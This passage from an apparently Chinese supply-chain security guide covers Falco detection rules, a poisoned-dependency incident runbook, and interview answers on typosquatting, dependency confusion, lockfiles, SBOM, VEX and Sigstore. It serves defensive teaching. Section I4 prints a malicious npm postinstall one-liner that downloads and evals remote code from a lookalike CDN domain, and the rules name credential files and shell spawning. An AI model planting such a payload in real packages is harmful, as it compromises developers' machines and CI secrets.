    file=%fd.name proc=%proc.name container=%container.name
    image=%container.image.repository cmd=%proc.cmdline
  priority: CRITICAL
  tags: [supply-chain, persistence]

---
- rule: Outbound Connection to Non-Whitelisted Endpoint
  desc: 容器发起了到白名单外目的地的连接(数据外传特征)
  condition: >
    container.id != host and
    outbound and
    not (
      fd.sip in ("10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16") or
      fd.snet in ("10.0.0.0/8")
    )
  output: >
    ⚠️ 容器外连到非内网地址(可能是数据外传)
    dest=%fd.sip:%fd.sport proc=%proc.name
    container=%container.name image=%container.image.repository
  priority: WARNING
  tags: [supply-chain, exfiltration]

---
- rule: Shell Spawned by Application Process
  desc: 应用进程派生了 shell(RCE 或恶意代码的强信号)
  condition: >
    container.id != host and
    proc.name in (sh, bash, zsh, ash, dash) and
    proc.pname in (java, node, python, python3, ruby, php-fpm, nginx) and
    not proc.cmdline contains "healthcheck"
  output: >
    ⚠️⚠️ 应用进程派生 shell(高危!)
    parent=%proc.pname shell=%proc.name cmd=%proc.cmdline
    container=%container.name image=%container.image.repository
    pod=%k8s.pod.name ns=%k8s.ns.name
  priority: CRITICAL
  tags: [supply-chain, rce, mitre_execution]

---
- rule: Node Process Accessing AWS Credentials
  desc: Node.js 进程访问 AWS 凭据文件(典型的恶意 npm 包行为)
  condition: >
    container.id != host and
    proc.name in (node, npm, yarn, pnpm) and
    open_read and
    (fd.name glob "*/.aws/credentials" or
     fd.name glob "*/.aws/config" or
     fd.name glob "*/.kube/config")
  output: >
    ⚠️ Node 进程访问云凭据文件
    file=%fd.name cmd=%proc.cmdline container=%container.name
  priority: CRITICAL
  tags: [supply-chain, credentials]

---
- rule: Unexpected Outbound DNS with Long Subdomain
  desc: 超长子域名的 DNS 查询(DNS 隧道外传数据的特征)
  condition: >
    container.id != host and
    fd.sport = 53 and
    length(fd.cip.name) > 50
  output: >
    ⚠️ 疑似 DNS 隧道外传
    query=%fd.cip.name proc=%proc.name container=%container.name
  priority: WARNING
  tags: [supply-chain, exfiltration, dns-tunnel]

★ 运行时检测的三个现实问题:

问题一:性能开销
   Falco 的 eBPF 探针会带来 1~5% 的 CPU 开销。
   在高 QPS 的服务上要评估。
   → 建议:先在非关键服务上灰度,观察一周

问题二:★ 告警量大,需要调优
   刚装上时,一天几千条告警是常态(大部分是正常的初始化行为)。
   → 必须做"基线期":先跑 2 周只记录不告警,
     然后把高频的正常行为加白名单,再开启告警

问题三:容器逃逸后失效
   如果攻击者逃出了容器到宿主机,Falco 的容器规则就看不到了
   → 所以宿主机层也要部署

9.8.5 事件处置剧本:发现依赖被投毒后的 24 小时

这是本节最实用的部分 —— 一个可以直接拿去用的 Runbook。

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
场景:早上 9 点,安全情报说 "npm 包 xxx-utils 的 1.2.4 版本含恶意代码,
      会窃取 CI 环境变量并外传。已确认下架。"
      你查了一下 SBOM:我们有 3 个服务用了它。
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

【阶段 0】确认事实(0~30 分钟)—— 不要急着动手

  ☐ ① 确认情报来源可靠(是官方公告还是推特传闻?)
  ☐ ② 确认恶意版本的准确标识:包名 + 版本 + 哈希 + 发布时间
  ☐ ③ ★ 用 SBOM 精确查询受影响范围:
        哪些服务?哪个版本?是直接依赖还是传递依赖?
        是否【真的被安装过】(SBOM 里有 ≠ 一定装了,看 lockfile)
  ☐ ④ 确认影响窗口:从什么时候开始可能被感染?
        = max(恶意版本发布时间, 我们第一次安装它的时间)
  ☐ ⑤ 成立应急小组,指定 IC( Incident Commander),开战情室(群/会议)
  ☐ ⑥ ★ 建立时间线文档(从这一刻开始记录一切,见第八章)

  ★★ 关键点:这个阶段【不要】急着删包、不要急着重启服务。
      先搞清楚事实,否则会破坏证据、且可能误判影响范围。

【阶段 1】遏制(30 分钟 ~ 2 小时)—— 止血

  ☐ ① ★ 阻断外传通道(优先级最高)
        - 在出口防火墙/代理上封禁已知的 C2 域名和 IP
        - ★ 如果还有服务在跑,DNS 层面先黑洞掉
        → 目的:就算数据还在被偷,先让它传不出去

  ☐ ② ★ 轮换所有可能泄露的凭据(★ 这一步宁可多做,不要漏)
        按优先级:
          - CI/CD 的所有 secrets(★ 最高优先,因为恶意包主要偷这个)
          - 云厂商 access key
          - 数据库密码
          - 第三方 API key
          - SSH 私钥
          - 服务账号 token
        ★★ 重要原则:【假设所有凭据都已泄露】
           不要试图"精确判断哪些泄露了" —— 你判断不了,
           而且轮换的成本远低于被入侵的成本。

  ☐ ③ 暂停受影响的流水线
        - 禁用相关项目的 CI
        - 阻止新的构建和部署(防止继续扩散)

  ☐ ④ 隔离受影响的服务(按业务重要性分批)
        - 非核心服务:立即下线
        - 核心服务:评估后再定(可能需要先"带病运行"并加强监控)
        ★ 决策依据:数据敏感度 > 业务可用性

  ☐ ⑤ 从制品仓库下架受影响的制品
        - 删除/标记恶意版本的包
        - ★ 清理私服缓存(9.6.3!否则会持续中毒)

【阶段 2】排查(2 ~ 8 小时)—— 搞清楚到底发生了什么

  ☐ ① ★ 排查"谁执行过这个恶意代码"
        从以下几个地方找证据:
        - CI 构建日志(哪个 job、什么时间、跑了什么)
        - 镜像构建历史(docker history)
        - 部署记录(哪些环境部署过含恶意包的版本)

  ☐ ② ★ 排查"数据有没有被传出去"
        - 出口流量日志(有没有连到 C2 域名/IP)
        - DNS 查询日志(有没有异常的 DNS 隧道)
        - 代理日志
        ★ 如果没日志 → 【按最坏情况处理】(假设已泄露)

  ☐ ③ 排查"有没有被持久化"
        在受影响的主机/容器上检查:
        - crontab / systemd service / 启动项
        - 新创建的用户、SSH authorized_keys
        - 容器里的异常进程
        - K8s 里的异常资源(DaemonSet、CronJob、webhook)
        (详见第七章的域持久化和 11 号文档的 K8s 持久化)

  ☐ ④ 用 IOC 全网扫一遍
        - 恶意域名/IP 的连接记录
        - 恶意文件的哈希
        - 恶意行为特征(9.8.1 的十二条)

  ☐ ⑤ 评估影响:
        - 泄露了什么数据?(凭据?源码?用户数据?)
        - 影响多少用户?
        - 是否触发合规上报义务?(见 H25 题,个保法第 57 条)

【阶段 3】根除(8 ~ 12 小时)

  ☐ ① 升级到安全版本(或降级、或替换方案)
        ★ 注意:如果官方还没出修复版本,要先用临时方案:
          - 锁定到上一个已知安全版本
          - 或临时移除该依赖,自己实现/换库
  ☐ ② 从【干净的源码】重新构建(★ 不要复用旧的构建缓存!)
        - 清理 CI 缓存
        - 清理 Docker 层缓存
        - 清理私服缓存
        → 否则恶意代码会从缓存里"复活"
  ☐ ③ 重新部署,用新的 digest
  ☐ ④ 清除所有持久化(如发现)
  ☐ ⑤ ★ 完成后重新生成 SBOM 并验证恶意组件已归零

【阶段 4】恢复(12 ~ 24 小时)

  ☐ ① 分批恢复服务,每批之间观察
  ☐ ② 加强监控(至少 72 小时):
        - 出口流量(有没有异常外连)
        - 认证日志(有没有异常登录)
        - 凭据使用(有没有来自异常 IP 的调用)
  ☐ ③ 恢复流水线(先跑非核心项目验证)
  ☐ ④ 对外沟通(如需):客户、监管、公众

【阶段 5】复盘(24 小时后 ~ 1 周)

  ☐ ① 无责复盘会(Blameless Postmortem,见 8.9.5)
  ☐ ② ★ 回答五个"为什么"(5 Whys),找到根因
        不是"为什么没检测出来"(那是结果),
        而是"为什么我们的流程允许一个发布 3 天的包进入生产"
  ☐ ③ 输出改进项,每项有 owner 和 deadline:
        典型改进项:
          - 启用 lockfile + npm ci(如果之前没有)
          - 配置 --ignore-scripts 或脚本白名单
          - 启用依赖的"最小发布时间"策略(Renovate 的 minimumReleaseAge)
          - 构建机密钥改用 OIDC
          - 限制构建机外网出口
          - SBOM 接入 CI(如果之前没有)
          - 引入行为检测工具(Socket / GuardDog)
  ☐ ④ 更新应急预案(把这次学到的写进去)
  ☐ ⑤ 桌面演练(3 个月后,模拟同类事件再走一遍)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
★ 三个最容易犯的错误(提前避免)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  错误一:急着删包重启,破坏了证据
    → 结果:查不清楚"攻击者到底拿到什么",只能全程按最坏情况处理
    → 正确:先做取证(第八章),再处置

  错误二:只轮换"确认泄露"的凭据
    → 结果:漏掉了一些实际已泄露的,两周后又被入侵
    → 正确:【假设全泄露,全轮换】

  错误三:修完就宣布结束,不复盘
    → 结果:三个月后同样的事再来一次
    → 正确:复盘的产出(改进项)比处置本身更有价值

9.8.6 供应链攻击的六个早期信号(平时就要盯着)

平时(没出事时)要监控的六个信号:

① ★ 构建时间异常变长
    一个平时 5 分钟的构建突然变成 20 分钟
    → 可能在挖矿、可能在外传大量数据、可能在下载二阶段载荷
    → 做法:给流水线设置时长基线,超过 50% 就告警

② ★ 构建机的出口流量异常
    构建机本来只应该连包仓库和制品仓库
    → 如果它开始连陌生的外部 IP → 高度可疑
    → 做法:构建机出口白名单 + 流量日志

③ 依赖的 lockfile 出现非预期变更
    没人改 package.json,但 lockfile 变了
    → 可能有人在流水线里偷偷跑了 npm install
    → 做法:CI 里用 npm ci,禁止 npm install;lockfile 变更必须 review

④ 出现"包名相似但不同"的新依赖
    → 可能有人手滑装了抢注包(9.2.1)
    → 做法:跑 typosquat_check.py(9.2.1 的脚本)

⑤ 某个包的版本发布频率突变
    一个半年没更新的包,突然一周发了 5 个版本
    → 可能是维护者账号被劫持了
    → 做法:监控关键依赖的发布动态(Socket / Snyk 都有这个功能)

⑥ 容器里的进程做了不该做的事
    → 运行时检测(9.8.4 的 Falco 规则)

9.9 面试题 I 组:软件供应链安全(30 题)

本节用法:和前面各组一样,建议先自己答一遍再看答案。 供应链题的特点是很考验“你到底做没做过” —— 背概念很容易被追问穿。

面试官判断你是否真做过供应链,通常看三点:
  ① 能不能说出【真实案例】和攻击者的具体手法(不只是名词)
  ② 能不能说出【工具的局限】(只会说优点的 = 没真用过)
  ③ 给一个"从零开始"的场景,能不能排出【优先级】
     (高级工程师和初级的最大区别:知道什么先做什么后做)

9.9.1 基础题(I1~I12)


I1. 什么是供应链攻击?它和传统攻击的本质区别是什么?举三个真实案例

答:

定义:不直接攻击最终目标,而是攻击目标信任的上游环节(开源库、构建工具、CI 系统、分发渠道),利用已有的信任关系,让恶意代码由目标自己主动加载执行。

本质区别(这是最关键的,要讲清楚):

传统攻击 供应链攻击
信任关系 攻击者是“陌生人”,系统默认不信任 借用你已授予的信任
进入方式 要突破边界 你自己 npm install 请他进来
防护思路 堵漏洞 验证来源 + 限制权限 + 缩小爆炸半径

★ 一句话总结:传统攻击靠“堵漏洞”,供应链攻击利用的是信任而不是漏洞,所以防御思路完全不同 —— 你无法保证上游不出事,只能保证“出事了我第一时间知道、它拿不到密钥、它连不出去、它进不了生产”。

三个案例(要能说出攻击手法):

  1. SolarWinds(2020):攻陷构建系统,在正常升级包里植入后门,用合法数字签名发布。18000 家客户下载,约 100 家被进一步利用。 → 教训:签名只证明“是这家公司签的”,不证明“构建过程是干净的”。

  2. event-stream(2018):原维护者不想维护了,攻击者主动说“我来接手”,拿到权限后加入窃取比特币钱包的代码,每周 200 万下载,持续 2 个月才被发现。 → 教训:维护者权限移交是巨大风险点。

  3. xz-utils(2024):攻击者潜伏 2 年成为共同维护者,在发布 tarball 里植入后门(git 仓库里是干净的),可劫持 sshd 认证拿 root。CVSS 10.0。 → 教训:只审查源码不够,必须能验证“发布物 == 源码构建的产物”(可复现构建)。

追问:这些案例有什么共同点?

都不是技术漏洞,而是信任被滥用。而且都不是被安全工具发现的 —— xz 是被一个“觉得 CPU 占用有点高”的工程师偶然发现的。这说明了两件事:① 供应链攻击靠工具很难发现;② 人的直觉很重要。


I2. 什么是 Typosquatting(拼写抢注)?怎么防御?

答:

原理:注册一个和热门包名字极其相似的恶意包,赌开发者手滑打错字。

requests   → reqeusts / requsts / python-requests
lodash     → lodahs / lodashs / loadsh / lodash-js
cross-env  → crossenv / cross-env.js
axios      → axois / axioss / aixos
socket.io  → socketio / socket-io

为什么有效:

  1. 手滑打错字是必然行为
  2. IDE 自动补全会把你引向错误的包
  3. ★ LLM 代码幻觉:LLM 会编造不存在的包名,攻击者收集这些名字去注册,真的能拿到下载量(2024 年后的新趋势)
  4. 复制教程代码时,教程里的包名本身可能是错的

防御(按有效性排序):

措施 做法 说明
★★★ Lockfile 提交 package-lock.json,CI 用 npm ci 防住 90%:包只在 lockfile 里,你不会手滑
★★★ 私服白名单 只从公司 Nexus 拉,Nexus 只代理白名单内的包 抢注包根本进不来
★★ scope 强制 内部包用 @acme/xxx,.npmrc 绑定 registry 结合私服用
★★ IDE 插件 Socket Security / Snyk 插件,写 import 时标红 在写代码时拦住
★ 依赖审批 新增依赖要 PR + review 有人再看一眼
★ CI 禁止 install 只允许 npm ci,禁止 npm install <pkg> 防止流水线里偷偷加依赖

★ 补充:人工确认一个包是否可信的五个动作(脚本报警后该做什么):

npm view <pkg> downloads      # ① 下载量(抢注包通常几百,热门包百万级)
npm view <pkg> time.created   # ②★ 创建时间(号称成熟却创建于 3 天前 = 假的)
npm view <pkg> maintainers repository.url  # ③ 维护者和仓库
npm view <pkg> versions       # ④ 版本历史(只有 1.0.0 = 高度可疑)
# ⑤ 有没有 README 和 LICENSE

I3. 什么是依赖混淆(Dependency Confusion)?为什么 pip 最容易中招?

答:

原理(Alex Birsan,2021,靠这个拿到苹果/微软/特斯拉等 35 家公司的赏金):

① 公司内部有个私有包 acme-utils 1.0.0,在公司私服上
② 攻击者在【公网 npm/PyPI】注册同名包,版本号写更高(99.99.99)
③ ★ 包管理器发现"两个源里都有这个包",取【版本号更高】的那个
④ 装了攻击者的版本,postinstall 执行,攻击者的代码跑在你的 CI 上

为什么内部包名会泄露:Birsan 的方法之一就是从 GitHub 上泄露的 package.json、前端 JS bundle 文件、员工的公开代码片段里找。

★ 为什么 pip 最容易中招:

# pip 的危险配置(★ 典型错误)
[global]
index-url = https://pypi.acme.com/simple        # 公司私服
extra-index-url = https://pypi.org/simple       # ★ 又配了公网!
# → pip 会【同时查询两个源,取版本号最高的】
# → 即使你写 ==1.0.0,攻击者也可以直接在公网上传 1.0.0

各生态易感性:

生态 行为 易感性
pip 比较所有源,取最高版本 ★★★ 最容易
Docker 默认去 Docker Hub ★★★ 高(写 mycompany/app 其实是去 Docker Hub 找)
npm 取决于 registry 配置 ★★ 中(配了 scope 就安全)
Go 取决于 GOPROXY/GOPRIVATE ★★ 中
Maven 按 repository 顺序查找,找到第一个就停 ★ 低(公仓库排后面就安全)

防御(按有效性排序):

优先级 措施 说明
★★★ 内部包全部用 scope / groupId 前缀 npm 的 @acme/*、Maven 的 com.acme.* 是独占的,攻击者在公网注册不了 → 几乎彻底解决
★★★ 单一源 + 代理 不在客户端配两个源;让私服去代理公网
★★ 哈希锁定 pip 用 --require-hashes;lockfile 的 integrity 字段
★★ 月度巡检内部包名是否被抢注 发现就申诉下架 + 迁 scope
★★ Nexus Group 顺序:内部在前 Maven 顺序查找,内部仓库必须排前面

I4. 什么是生命周期脚本投毒?npm 的 postinstall 什么时候执行?怎么防?

答:

原理:包管理器在安装过程中会自动执行包里声明的某些脚本,这些脚本拥有和你一样的权限(在 CI 里常常是 root,且能读到所有环境变量)。

生态 自动执行的脚本
npm/yarn preinstall、install、postinstall、prepare
Python setup.py 里的任意代码(只有 sdist 会执行,wheel 不会)
Ruby extconf.rb、Rakefile 的 extensions
Rust build.rs(编译时执行)
Go ★ 默认不执行任意代码(相对安全)

★ 一个关键认知(面试必答):

很多人以为"我装的是 lodash 这种库,又不是可执行程序,怎么会危险?"

错。只要 package.json 里有:
    "scripts": { "postinstall": "node ./scripts/setup.js" }
那么 npm install 时,setup.js 就【已经在你的机器上执行过了】。

★ 而且作为【依赖】被安装时,postinstall 也会执行。
   你装 A,A 依赖 B,B 的 postinstall 照样跑。

一个真实恶意 payload 的巧妙之处:

"postinstall": "node -e \"require('https').get('https://cdn.fonts-cdn.com/i.js',r=>{let d='';r.on('data',c=>d+=c);r.on('end',()=>eval(d))})\""

① 代码写在一行 -e 里,看起来只是“一句脚本” ② 从远程下载真正的恶意代码再 eval → 本地磁盘上没有恶意文件(杀毒扫不到) ③ 域名 fonts-cdn.com 看起来像正常 CDN ④ 攻击者可以随时更换远程代码,只在特定时间投递 payload

防御:

# ★ 防御 1:禁用脚本(最有效)
npm install --ignore-scripts
echo "ignore-scripts=true" >> .npmrc     # 提交到 git
pnpm install --ignore-scripts            # pnpm 10+ 默认已禁用依赖的构建脚本
pip install --only-binary :all: <pkg>    # Python:只装 wheel,不执行 setup.py
⚠️ 但全量禁用会破坏这些包:esbuild、swc(下载二进制)、
   node-sass、bcrypt(本地编译)、husky(装 git hooks)、sharp(下载 libvips)

★ 正确折中:白名单制
   默认禁用所有脚本,只允许明确列出的包执行
   → @lavamoat/allow-scripts,或 npm 的 allowScripts 配置
# ★ 防御 2:CI 里检测"新出现的安装脚本"
#   对比基线,新增带脚本的包就告警(脚本见 9.2.4)

# ★ 防御 3:兜底 —— 让脚本就算执行了也干不成事(★ 最可靠)
#   ① 构建机不给密钥(用 OIDC 短时效凭证)
#   ② 构建机限制外网出口(NetworkPolicy)
#   ③ CI 用非 root 用户跑构建
#   ④ 构建容器只读根文件系统

★ 面试加分:三层防御里,第三层(环境限制)最可靠,因为前两层都有绕过方法,而环境限制是攻击者无法绕过的。


I5. Lockfile 的作用是什么?npm install 和 npm ci 有什么区别?

答:

Lockfile 作用:把每个依赖的精确版本 + 下载地址 + 哈希写死(package-lock.json / poetry.lock / yarn.lock / go.sum)。

它防三件事:

  1. 依赖偷偷升级(你写 ^1.2.3,别人装的时候变成 1.9.0)
  2. 昨天的 1.2.3 和今天的 1.2.3 不是同一个东西(覆盖发布攻击)
  3. 手工装错包(拼写抢注)

★ npm install vs npm ci(面试高频):

npm install npm ci
lockfile 不一致时 ★ 更新 lockfile ★ 报错退出
node_modules 增量更新(可能残留) ★ 先删除再全新安装
速度 慢 快
能装单个新包 能 ★ 不能(这是优点)
CI 里该用哪个 ❌ ✅

★ 为什么 CI 用 npm install 是严重问题:

npm install 会在 lockfile 和 package.json 不一致时自动更新 lockfile。这意味着:如果攻击者的包满足了你的版本约束(如 ^1.2.3),npm install 会自动拉到恶意的新版本,而 lockfile 白锁了。

各生态对照表:

生态 ❌ 危险 ✅ 正确
npm npm install npm ci
yarn v1 yarn install yarn install --frozen-lockfile
yarn berry yarn install yarn install --immutable
pnpm pnpm install pnpm install --frozen-lockfile
pip pip install -r requirements.txt pip install --require-hashes -r requirements.txt
Maven 用 RELEASE/LATEST ★ 永远写死版本号
Go go get -u ./... go mod download + 提交 go.sum
Docker image: app:latest image: app@sha256:xxx

追问:lockfile 一定能保证安全吗?

不一定。两个坑: ① lockfile 里的 resolved(下载地址)和 integrity(哈希)同时被改的话,npm 会认为“你要的就是这个”→ 所以 lockfile 的 diff 必须 review。 ② 如果 CI 用的是 npm install 而不是 npm ci,lockfile 形同虚设。


I6. 为什么 Docker 部署不能用 tag,必须用 digest?

答:

核心原因:Docker 的 tag 是可变的。

# 你的 K8s 清单:
image: acme/backend:1.2.3
# 你觉得"我锁了版本 1.2.3,很安全"

# 但攻击者(或内部误操作)可以:
docker tag malicious-image acme/backend:1.2.3
docker push acme/backend:1.2.3
# ★ 同一个 tag,内容被完全替换

# 后果:
#   下次 Pod 重启/扩缩容时,新节点拉取这个 tag 的【最新内容】= 恶意镜像
#   而已经运行的旧 Pod 还跑着旧镜像
#   → ★ 集群里出现"同一版本,不同内容"的情况,极难排查

digest 为什么安全:digest 是镜像内容的 SHA-256 哈希,不可变、不可伪造(除非能构造哈希碰撞)。

正确写法:

docker inspect acme/backend:1.2.3 --format='{{index .RepoDigests 0}}'
# → acme/backend@sha256:3f9c8b1e7a2d...

# 部署清单:
image: acme/backend@sha256:3f9c8b1e7a2d...
# ★ 或更好:tag + digest 一起写(兼顾可读性和不可变性)
image: acme/backend:1.2.3@sha256:3f9c8b1e7a2d...
#           ↑ 给人看         ↑ 给机器校验

★ 同样的道理适用于其他生态的版本可变性:

  • Docker tag:可变
  • PyPI:删除后可重新上传同名同版本
  • Maven Central release:不可变(但 SNAPSHOT 可变)
  • npm:不允许重复发布同一版本(但 tag 可变)

I7. SLSA 是什么?L1 / L2 / L3 分别要求什么?

答:

SLSA(“salsa”)= Supply-chain Levels for Software Artifacts,Google 2021 年(SolarWinds 之后)牵头提出,现属 OpenSSF。是一套分级标准,描述构建过程有多“可信、可审计、可防篡改”。

级别 核心要求 能防住 不能防住
L0 无保证(绝大多数项目在这里) — —
L1 构建过程有 provenance(自动生成来源证明,不要求签名/防篡改) ★ 有据可查:出事时能定位受影响范围 证明可伪造(没签名)、可删
L2 provenance 被签名 + 托管构建服务 ★ 防“开发者本机被黑后发布假制品”;防 provenance 被篡改 构建服务本身被攻破
L3 构建平台被加固到攻击者无法篡改 ★ 防“恶意构建脚本自己伪造 provenance”;防“一个构建污染另一个构建”(SolarWinds 那种) 源码本身有问题;构建平台 0day

★ L3 的关键要求:构建步骤之间不共享状态、provenance 由构建平台的可信部分生成(构建脚本无法读写)、构建无法访问签名密钥。

★ 加分点:SLSA v1.0 之后没有 L4 了。早期草案有 L4(两方审核 + 可复现构建),v1.0 把可复现构建拆成了独立的可选属性。所以现在“SLSA L3”就是构建轨道的最高级。

生活类比:餐厅食品安全等级 —— L1 有手写记录本,L2 记录上传监管平台 + 厨师有健康证,L3 后厨全监控 + 监控防篡改 + 流程不能单人修改。

落地路线:

L0 → L1:CI 里自动生成 provenance(1~2 人日)
L1 → L2:Sigstore 签名 + 禁止人工本机发布(1~2 人周)
L2 → L3:构建隔离、provenance 由平台可信组件生成、构建定义文件受保护(1~2 人月)
加分项:可复现构建、SBOM + VEX

I8. Provenance 是什么?包含哪些关键信息?能回答什么问题?

答:

定义:Provenance(来源证明/出身证明)是一份元数据,描述制品是怎么被造出来的。

★ 一句话类比:产品的“生产记录单”。它不证明产品质量好,只证明“它是这么被生产出来的”。

包含的关键信息(in-toto Statement 格式):

字段 内容
subject 这份证明说的是哪个制品(哈希精确定位)
predicateType 证明类型(如 https://slsa.dev/provenance/v1)
externalParameters.source ★ 源码仓库 + 具体 commit SHA
externalParameters.workflow.path ★ 用哪份 CI 配置构建的
internalParameters 构建平台内部配置(runner 镜像、OS),由平台填,脚本伪造不了
resolvedDependencies ★ 构建时用到的确切依赖(如基础镜像 digest)
runDetails.builder.id ★ 谁构建的(构建平台身份)
runDetails.metadata 开始/结束时间、构建 ID

★ 能回答的实际问题(举这几个例子最有说服力):

问题 从哪个字段回答
这个镜像是从哪个 commit 构建的? externalParameters.source.digest.gitCommit
会不会有人改了 CI 偷偷加步骤? externalParameters.workflow.path
是官方构建机建的还是张三自己电脑上建的? runDetails.builder.id
基础镜像是哪个版本?有没有漏洞? resolvedDependencies
构建耗时异常吗?(突然从 7 分钟变 40 分钟 = 可能在挖矿) metadata.startedOn/finishedOn

★ 追问:Provenance 和 Attestation 什么关系?

Attestation(证明)是“关于某个制品的被签名的陈述”,Provenance 是它的一种。 其他类型还有:SBOM 证明、漏洞扫描证明、测试通过证明。 类比:Provenance 是“生产记录单”,Attestation 是所有“盖了章的证书”(质检报告、成分表、合格证)的统称。


I9. SBOM 是什么?SPDX 和 CycloneDX 怎么选?

答:

SBOM(Software Bill of Materials)= 软件物料清单,列出构成一个软件的所有组件(依赖、版本、许可证、来源)。

★ 生活类比:食品的“配料表”。当新闻说“某批次白砂糖含瘦肉精”时,你只要看配料表,就能立刻知道自己买的面包有没有问题。没有配料表 → 你得打电话问厂家,厂家得去查仓库 → 三天过去了。

★ Log4Shell 时有/无 SBOM 的对比(2021 年真实发生在无数公司):

没有 SBOM 有 SBOM
回答“我们用了吗” 全公司 grep pom.xml,通宵 SQL 查 SBOM → 10 分钟
覆盖率 只找到显式声明的 ★ 能找到传递依赖、Docker 基础镜像里的
确认修复完成 再 grep 一遍,还是不确定 重新生成 SBOM 比对,确认归零
耗时 3~7 天 2~4 小时

格式对比:

格式 主导方 特点 适合
SPDX Linux Foundation,ISO/IEC 5962 国际标准 ★ 最全面的许可证字段,合规导向 合规审计、向客户交付
CycloneDX OWASP ★ 安全导向:原生支持 VEX、漏洞、服务、密码学资产,轻量 安全运营、DevSecOps
SWID ISO/IEC 19770-2 最老,软件资产管理 逐步边缘化

★ 怎么选:合规用 SPDX,安全用 CycloneDX。两者可以互相转换,很多公司两种都生成。

生成工具:

syft ghcr.io/acme/backend:v1.2.3 -o cyclonedx-json > sbom.json   # ★ 最通用
syft file:./target/app.jar -o cyclonedx-json > sbom.json          # 扫 fat jar
trivy image --format cyclonedx --output sbom.json <image>          # 带漏洞信息
mvn org.cyclonedx:cyclonedx-maven-plugin:makeAggregateBom          # Java 原生
npm sbom --sbom-format cyclonedx > sbom.json                       # npm 内置

★ PURL(Package URL)—— SBOM 里最重要的字段:

pkg:maven/org.apache.logging.log4j/log4j-core@2.14.1
pkg:npm/lodash@4.17.21
pkg:oci/backend@sha256:3f9c8b1e...

★ 为什么重要:同一个组件在不同工具里名字写法不同,
  没有统一标识就【无法跨系统关联】。
  PURL 让 SBOM / 漏洞库(NVD、OSV)/ 扫描器 / 治理平台能自动联动。

I10. 有了 SBOM 为什么还需要 VEX?VEX 有哪四种状态?

答:

因为光有 SBOM 会掉进“告警疲劳”的大坑:

你给 200 个服务生成了 SBOM 接漏洞扫描器。
第二天早上:3,847 个漏洞。
开发团队看了一眼,骂了一句,然后继续写业务代码。
—— 因为里面 90% 是"误报":
  ① 这个 CVE 影响 log4j 的 JNDI 功能,但我们从没用过 JNDI
  ② 这个漏洞在 Windows 上才有,我们跑在 Linux 容器里
  ③ 这个漏洞需要攻击者已有本地 shell,我们的服务不提供 shell
  ④ 这个包虽然打进了镜像,但那个代码路径永远走不到

★ 结果:告警没人看 → 真正的告警也被淹没 → 等于没有 SBOM

VEX(Vulnerability Exploitability eXchange)= 由软件供应商声明“某个 CVE 在我的产品里到底影不影响”。

★ 关键区别:

SBOM 说:  "我的产品里有 log4j-core 2.14.1"(事实)
扫描器说: "log4j-core 2.14.1 有 CVE-2021-44228,CVSS 10.0"(通用漏洞库结论)
VEX 说:   "但我们的产品里,这个漏洞【不可利用】,原因是 XXX"(供应商的判断)

★ 为什么供应商说了算?
  因为只有供应商知道自己的产品是怎么用这个组件的。
  NVD 的 CVSS 是"通用场景下的严重性",不代表在你的产品里也这么严重。

四种状态:

状态 含义
not_affected ★ 不受影响(必须给出理由)
affected 确实受影响,要修
fixed 已在某版本修复
under_investigation 正在调查,暂时不知道

★ 五种标准 justification(填 not_affected 时必须从里面选,这是 VEX 的灵魂 —— 没有理由的声明不可信):

justification 含义
component_not_present 组件其实不在产品里(SBOM 误报)
vulnerable_code_not_present 易受攻击的那段代码不在
vulnerable_code_not_in_execute_path ★ 代码在,但那条路径永远走不到
vulnerable_code_cannot_be_controlled_by_adversary 代码能走到,但攻击者控制不了输入
inline_mitigations_already_exist ★ 已有缓解措施(WAF、配置禁用、沙箱)

面试加分点:很多人只知道 SBOM 不知道 VEX。能说出“SBOM 解决’我有什么’,VEX 解决’这些漏洞里哪些是真问题’”,说明你真的做过漏洞运营,不只是跑过扫描器。


I11. Sigstore 三件套是什么?Keyless 签名比传统签名好在哪?

答:

传统代码签名的三大痛点:

  1. 私钥怎么存:放 CI secret(管理员能看到)、放 HSM(要钱要对接)、放本机(丢了就完)
  2. 私钥怎么轮换/吊销:传统 PKI 的 CRL/OCSP 复杂,小团队基本不做
  3. ★ 用户怎么知道你的公钥是真的:从官网下载?官网也可能被黑(信任根分发问题)

Sigstore 三件套(Linux Foundation,Google/Red Hat 发起):

组件 作用
Fulcio(CA) 把 OIDC 身份换成短时效 X.509 证书(★ 有效期只有 10 分钟)。证书里写明“签名者身份是 acme/backend 的 GitHub Actions 工作流”
Rekor(透明日志) ★ 公开、只追加不可修改的日志数据库,记录“谁在什么时间签了什么”。借鉴 Certificate Transparency。任何人可查
Cosign(CLI) 一行命令完成签名、验签、attestation

★ Keyless 签名六步流程(面试常考):

① CI 构建完成,产出镜像
② cosign 向 CI 的 OIDC provider 申请 JWT(含仓库、工作流、分支、commit、run id)
③ cosign 在【内存里】生成一个临时密钥对
④ cosign 把 OIDC 令牌 + 临时公钥发给 Fulcio
⑤ Fulcio 验证 OIDC 签名 → 签发 10 分钟有效证书 → 同时把记录写入 Rekor
⑥ cosign 用临时私钥 + 证书签名 → 【临时私钥立即丢弃】

★ 精妙之处:整个过程没有任何需要长期保管的私钥。攻击者要伪造签名,必须攻破 GitHub 的 OIDC 签发、或攻破 Fulcio(且要同时攻破 Rekor),或攻破 CI 本身 —— 而就算是第三种,也会在 Rekor 里留下公开可查的记录。

验签时必须带身份约束(★ 这是最多人犯的错):

# ❌ 形同虚设:任何人的签名都能通过
cosign verify <image>

# ✅ 正确:要求签名者身份 + OIDC 签发方
cosign verify \
  --certificate-identity-regexp 'https://github\.com/acme/.*' \
  --certificate-oidc-issuer 'https://token.actions.githubusercontent.com' \
  <image>

★ 诚实说明六个局限(体现深度):

  1. 不验证“代码是好的”,只验证“是你构建的” → 内鬼要靠 code review 解决
  2. ★ 验签不带 identity 约束 = 形同虚设
  3. Rekor 是公共服务,有可用性依赖(可自建)
  4. 不能防“签名后、部署前”的替换 → 必须签 digest
  5. 证书 10 分钟过期是正常的,验签时用 Rekor 记录确认签名发生在有效期内
  6. 证明不了“构建环境是干净的” → 这是 SLSA L3 和可复现构建的事

